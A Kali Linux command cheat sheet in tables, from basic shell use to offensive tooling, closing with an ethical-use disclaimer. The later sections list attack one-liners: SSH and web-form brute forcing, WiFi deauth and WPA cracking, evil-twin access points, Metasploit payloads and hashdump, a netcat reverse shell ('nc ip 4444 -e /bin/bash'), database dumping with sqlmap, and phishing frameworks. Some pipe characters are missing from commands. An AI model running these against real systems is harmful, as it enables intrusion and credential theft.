

KALI LINUX

Complete Commands Guide

From Beginner to Expert

1. Basic System Commands

These are the commands used daily. Start by learning these after opening Kali Linux:

Command	Description
<code>pwd</code>	Shows which directory you are currently in (Present Working Directory)
<code>ls</code>	Lists all files and folders in the current directory
<code>ls -la</code>	Shows hidden files as well, along with permissions
<code>cd /path</code>	Navigate to any folder (Change Directory)
<code>cd ..</code>	Go one level up to the parent folder
<code>cd ~</code>	Go directly to your Home folder
<code>mkdir folder_name</code>	Create a new folder
<code>rm file.txt</code>	Delete a file (cannot be recovered!)
<code>rm -rf folder/</code>	Delete an entire folder and all its contents
<code>cp file1 file2</code>	Copy a file
<code>mv file1 file2</code>	Move or rename a file
<code>touch file.txt</code>	Create a new empty file
<code>cat file.txt</code>	Display the contents of a file on screen
<code>nano file.txt</code>	Open a file in the Nano editor (simple editor)
<code>clear</code>	Clear the terminal screen
<code>history</code>	View the list of commands you have used
<code>exit</code>	Close the terminal

2. User and Permission Commands

In Linux, every action has a permission level. Understanding these is essential:

Command	Description
whoami	Shows which user you are currently logged in as
id	View your User ID and Group ID
su username	Switch to another user
sudo command	Run a command as Admin (root)
sudo su	Become the root user directly
passwd	Change your password
adduser username	Create a new user
deluser username	Delete a user
chmod 755 file	Set file permissions (rwx format)
chmod +x file.sh	Make a file executable
chown user file	Change the owner of a file
chown user:group file	Change both the owner and group of a file
groups username	See which groups a user belongs to
usermod -aG grp user	Add a user to a group
cat /etc/passwd	View all system users
cat /etc/shadow	View encrypted passwords (root only)

3. Network Commands (Networking)

Kali Linux is mostly used for networking and security testing. These commands are essential:

Command	Description
ifconfig	View network interfaces and IP addresses
ip a	Newer and better version of ifconfig
ip r	View the routing table
ping google.com	Test connection to a host
ping -c 4 ip	Ping only 4 times
netstat -tuln	See which ports are open
ss -tuln	Newer version of netstat, faster
nmap ip	Scan open ports of a target
nmap -sV ip	See which services are running on open ports

Command	Description
<code>nmap -A ip</code>	Aggressive scan - detect OS, version, and more
<code>nmap -p 80,443 ip</code>	Scan specific ports
<code>nmap -sP 192.168.1.0/24</code>	Find which devices are active on the network
<code>curl url</code>	View a website response in the terminal
<code>wget url</code>	Download a file from the internet
<code>tracert google.com</code>	Trace the route a packet takes
<code>arp -a</code>	View the ARP table (LAN devices)
<code>dig domain.com</code>	Extract DNS information
<code>nslookup domain.com</code>	Perform a DNS lookup
<code>host domain.com</code>	Get the IP address of a domain
<code>whois domain.com</code>	View domain registration info

4. Information Gathering Tools

Tools for gathering information about any system or network:

Command	Description
<code>theHarvester -d site.com -b google</code>	Extract emails and subdomain info from Google
<code>maltego</code>	GUI tool - visual information gathering
<code>recon-ng</code>	Professional reconnaissance framework
<code>dnsenum domain.com</code>	DNS enumeration - find subdomains
<code>dnsrecon -d domain.com</code>	Analyze DNS records
<code>fierce -dns domain.com</code>	DNS brute force and zone transfer
<code>dmitry target.com</code>	Deep Magic Information Tool
<code>nikto -h target.com</code>	Scan web server for vulnerabilities
<code>dirb http://site.com</code>	Find hidden directories on a website
<code>gobuster dir -u url -w list</code>	Directory and file brute force
<code>enum4linux -a ip</code>	Extract info from Windows/Samba systems
<code>smbclient -L ip</code>	List SMB shares
<code>snmpwalk -c public ip</code>	Get device info via SNMP
<code>netdiscover -r 192.168.1.0/24</code>	Find live hosts on the network

Command	Description
masscan -p1-65535 ip	Ultra-fast port scanner

5. Vulnerability Scanning

Professional tools for finding system weaknesses:

Command	Description
nmap --script vuln ip	Scan for vulnerabilities using Nmap
openvas-start	Start the OpenVAS vulnerability scanner
metasploit / msfconsole	World's most popular exploit framework
msfdb init	Set up the Metasploit database
search exploit_name	Search for an exploit in Metasploit
use exploit/path	Use a specific exploit
set RHOSTS ip	Set the target IP in Metasploit
exploit / run	Run the exploit
sqlmap -u 'url'	Automatically find SQL injections
sqlmap -u url --dbs	List available databases
sqlmap -u url --dump	Extract data from the database
wpscan --url site.com	Scan a WordPress site
joomscan --url site.com	Scan a Joomla site
lynis audit system	Local system security audit
chkrootkit	Find rootkits

6. Password Attacks (Password Testing)

For testing password security - use only on your own systems:

Command	Description
john hash.txt	Crack a hash using John the Ripper
john --wordlist=rockyou.txt hash.txt	Crack using a dictionary attack
john --show hash.txt	View cracked passwords
hashcat -m 0 hash.txt list.txt	Fast GPU-based hash cracking

Command	Description
hydra -l user -P list ip ssh	SSH brute force
hydra -l admin -P list ip http-post-V	Web form brute force
medusa -h ip -u user -P list -M ssh	Brute force using Medusa
crunch 8 8 abc123 > list.txt	Create a custom wordlist
cewl http://site.com -w list.txt	Generate a wordlist from a website
hash-identifier	Identify the type of a hash
ophcrack	Crack Windows passwords (GUI)
fcrackzip -u -D -p list.txt file.zip	Crack a ZIP password
unshadow passwd shadow > combined	Unshadow for cracking
aircrack-ng capture.cap -w list	Crack WiFi WPA/WPA2 password

7. Wireless (WiFi) Attacks

For WiFi security testing - use only on your own network:

Command	Description
iwconfig	View wireless interfaces
airmon-ng start wlan0	Enable monitor mode
airmon-ng stop wlan0mon	Disable monitor mode
airodump-ng wlan0mon	Scan nearby WiFi networks
airodump-ng -c ch --bssid mac -w file	Capture on specific network
aireplay-ng -0 10 -a mac wlan0mon	Deauth attack (capture handshake)
aircrack-ng -w list.txt file.cap	Crack a captured handshake
wash -i wlan0mon	Find WPS-enabled networks
reaver -i wlan0mon -b mac -vv	WPS PIN brute force
wifite	Automatic WiFi attack tool
kismet	WiFi network analyzer (GUI)
fern wifi cracker	GUI WiFi cracking tool
hostapd-wpe	Create evil twin / rogue access point

8. Web Application Testing

For testing the security of web applications:

Command	Description
burpsuite	Web proxy and testing suite (GUI)
owasp-zap	Automatic web vulnerability scanner
sqlmap -u url --forms	Test SQL injection in web forms
xsser --url 'url'	Test for XSS vulnerabilities
wfuzz -c -w list -u url/FUZZ	Web fuzzing tool
ffuf -w list -u url/FUZZ	Fast web fuzzer
dirb http://target.com/	Directory discovery
dirbuster	Directory brute force (GUI)
whatweb http://site.com	Identify website technology
curl -I http://site.com	View HTTP headers
curl -X POST -d 'data' url	Send a POST request
httprobe < domains.txt	Check which domains are alive
arjun -u url	Find hidden GET/POST parameters
commix -u url	Test for command injection
dotdotpwn -m http -h target	Path traversal attack tool

9. Exploitation Tools

Advanced tools for exploiting vulnerabilities:

Command	Description
msfconsole	Open the Metasploit Framework console
msfvenom -p payload LHOST=ip LPORT=4444 -t perl	Create a payload/inline
use exploit/multi/handler	Reverse shell listener
set payload windows/meterpreter/reverse_tcp	Set Meterpreter payload
sessions -l	List active sessions
sessions -i 1	Connect to session 1
sysinfo	Meterpreter: view target system info
getuid	Meterpreter: view current user
getsystem	Meterpreter: attempt privilege escalation

Command	Description
hashdump	Meterpreter: extract password hashes
upload file	Meterpreter: upload a file
download file	Meterpreter: download a file
shell	Meterpreter: get direct shell access
nc -lvnp 4444	Start a Netcat listener
nc ip 4444 -e /bin/bash	Send a reverse shell

10. Post Exploitation

What to do after gaining system access:

Command	Description
uname -a	View OS version and kernel info
cat /etc/os-release	View Linux distro info
ps aux	View all running processes
ps aux grep root	View only root processes
find / -perm -4000 2>/dev/null	Find SUID files (privilege escalation)
sudo -l	See which commands can be run with sudo without a password
crontab -l	View cron jobs
cat /etc/crontab	View system cron jobs
netstat -antup	View network connections and processes
ss -antup	Network sockets (modern)
find / -writable 2>/dev/null	Find writable files
ls -la /home/	View other users home folders
cat /etc/hosts	View the hosts file
env	View environment variables
linpeas.sh	Automatic Linux privilege escalation checker
winpeas.exe	Windows privilege escalation checker

11. Forensics and Log Analysis

Commands for digital forensics and system logs:

Command	Description
autopsy	Digital forensics GUI tool
volatility -f mem.dump imageinfo	Memory forensics
binwalk file	Find hidden files inside binary files
strings file	Extract readable text from a binary
file filename	Identify the type of a file
xxd file head	View a file in hex
md5sum file	Get MD5 hash (file integrity)
sha256sum file	Get SHA256 hash
cat /var/log/auth.log	View authentication logs
cat /var/log/syslog	View system logs
journalctl -xe	Detailed systemd logs
last	View last login history
lastlog	View last login for each user
aureport	Generate an audit report
foremost -i image.dd -o output/	Recover deleted files
photorec	File recovery tool
wireshark	Analyze network traffic (GUI)
tcpdump -i eth0	Capture network packets

12. Cryptography and Steganography

Tools for encryption and hidden data:

Command	Description
gpg -c file	Encrypt a file using GPG
gpg file.gpg	Decrypt a GPG file
openssl enc -aes-256-cbc -in file -out encrypted	AES encryption with OpenSSL
openssl genrsa -out key.pem 2048	Generate an RSA private key
openssl req -new -x509 -key key.pem -out cert.pem	Create a self-signed certificate
steghide embed -cf img.jpg -ef secret.txt	Hide data inside an image
steghide extract -sf img.jpg	Extract data from an image

Command	Description
stegcracker image.jpg wordlist	Crack steganography password
zsteg image.png	Find hidden data inside a PNG
exiftool file	View / edit file metadata
base64 -d encoded.txt	Decode Base64
echo 'text' base64	Encode Base64
echo -n 'text' md5sum	Get the MD5 hash of text
john --format=md5 hash.txt	Crack an MD5 hash

13. Social Engineering Tools

For awareness purposes - these tools should only be used for ethical testing:

Command	Description
setoolkit	Open the Social Engineering Toolkit (SET)
gophish	Phishing campaign testing tool
evilginx2	Advanced phishing framework
beef-xss	Browser exploitation framework
maltego	Social engineering information gathering
sendmail	Send email from command line
swaks --to email@site.com	SMTP testing tool

14. Service Management and System

For managing the Kali Linux system:

Command	Description
systemctl start service	Start a service
systemctl stop service	Stop a service
systemctl restart service	Restart a service
systemctl status service	Check the status of a service
systemctl enable service	Enable auto-start on boot
service apache2 start	Start the Apache web server

Command	Description
<code>service ssh start</code>	Start the SSH server
<code>service postgresql start</code>	Start the database server (for Metasploit)
<code>apt update</code>	Update package list
<code>apt upgrade</code>	Upgrade all packages
<code>apt install package</code>	Install a new package
<code>apt remove package</code>	Remove a package
<code>apt search keyword</code>	Search for a package
<code>dpkg -i file.deb</code>	Install from a DEB file
<code>df -h</code>	View disk space
<code>free -h</code>	View RAM usage
<code>top / htop</code>	Real-time system resources
<code>kill -9 PID</code>	Force-kill a process

15. File Manipulation and Searching

For finding and processing files:

Command	Description
<code>find / -name 'file.txt'</code>	Search for a file across the entire system
<code>find / -type f -name '*.py'</code>	Find only Python files
<code>find / -user root -type f</code>	Find files owned by root
<code>grep -r 'password' /etc/</code>	Search for text in a folder
<code>grep -i 'error' log.txt</code>	Case-insensitive search
<code>grep -n 'text' file</code>	Search with line numbers
<code>awk '{print \$1}' file.txt</code>	Extract the first column
<code>sed 's/old/new/g' file.txt</code>	Replace text
<code>sort file.txt</code>	Sort a file
<code>sort -u file.txt</code>	Sort and remove duplicates
<code>uniq file.txt</code>	Remove duplicate lines
<code>wc -l file.txt</code>	Count lines in a file
<code>head -20 file.txt</code>	View first 20 lines

Command	Description
<code>tail -20 file.txt</code>	View last 20 lines
<code>tail -f log.txt</code>	Watch a log file in real time
<code>cut -d: -f1 /etc/passwd</code>	Extract a specific column
<code>tr 'a-z' 'A-Z' < file</code>	Convert lowercase to uppercase
<code>diff file1 file2</code>	View differences between two files
<code>tar -czf archive.tar.gz folder/</code>	Compress a folder
<code>tar -xzf archive.tar.gz</code>	Extract an archive
<code>zip -r archive.zip folder/</code>	Create a ZIP archive
<code>unzip archive.zip</code>	Extract a ZIP archive

16. SSH and Remote Access

For connecting to remote systems:

Command	Description
<code>ssh user@ip</code>	Connect via SSH
<code>ssh -p 2222 user@ip</code>	SSH on a custom port
<code>ssh -i key.pem user@ip</code>	Login with an SSH key
<code>ssh-keygen -t rsa</code>	Generate an SSH key pair
<code>ssh-copy-id user@ip</code>	Copy public key to target
<code>scp file user@ip:/path</code>	Copy a file via SSH
<code>scp user@ip:/file ./</code>	Copy a remote file locally
<code>rsync -avz src user@ip:dst</code>	Sync folders
<code>ssh -L 8080:localhost:80 user@ip</code>	SSH port forwarding
<code>ssh -D 9090 user@ip</code>	Create an SSH SOCKS proxy
<code>xrdp</code>	Start an RDP server
<code>rdesktop ip</code>	Windows RDP client
<code>vncviewer ip:5901</code>	Connect via VNC
<code>proxychains command</code>	Run a command through a proxy chain
<code>proxychains nmap -sT ip</code>	Nmap via proxy chains

17. Scripting and Automation (Bash)

For automating your work with Bash scripting:

Command	Description
<code>#!/bin/bash</code>	First line of a script file (shebang)
<code>chmod +x script.sh</code>	Make a script executable
<code>./script.sh</code>	Run a script
<code>bash script.sh</code>	Run a script with Bash
<code>echo \$variable</code>	Print the value of a variable
<code>var='hello'</code>	Create a variable
<code>read -p 'Input: ' var</code>	Get input from the user
<code>if [condition]; then ... fi</code>	If condition
<code>for i in {1..10}; do ... done</code>	For loop
<code>while true; do ... done</code>	While loop
<code>function name() { ... }</code>	Define a function
<code>\$1, \$2 ...</code>	Script arguments
<code>\$(command)</code>	Store command output in a variable
<code>>> file.txt</code>	Append to a file
<code>> file.txt</code>	Create or overwrite a file
<code>command1 command2</code>	Pipe - send output of first to second
<code>command &</code>	Run in the background
<code>wait</code>	Wait for background jobs to finish
<code>crontab -e</code>	Set up scheduled tasks

■■ IMPORTANT DISCLAIMER ■■

This guide is solely for learning and ethical testing purposes.

Kali Linux tools are very powerful. Use them only on your own systems, or on systems for which you have written permission. Hacking anyone's system without permission is against the law in Pakistan and countries worldwide, and can result in serious legal consequences.

If you want to learn Kali Linux, these resources are helpful:

- TryHackMe (tryhackme.com) — Interactive labs
- HackTheBox (hackthebox.com) — Legal hacking challenges
- OffSec (offensive-security.com) — OSCP certification

- [Kali Linux Docs \(kali.org/docs\)](https://kali.org/docs) — Official documentation

Happy (Ethical) Hacking! ■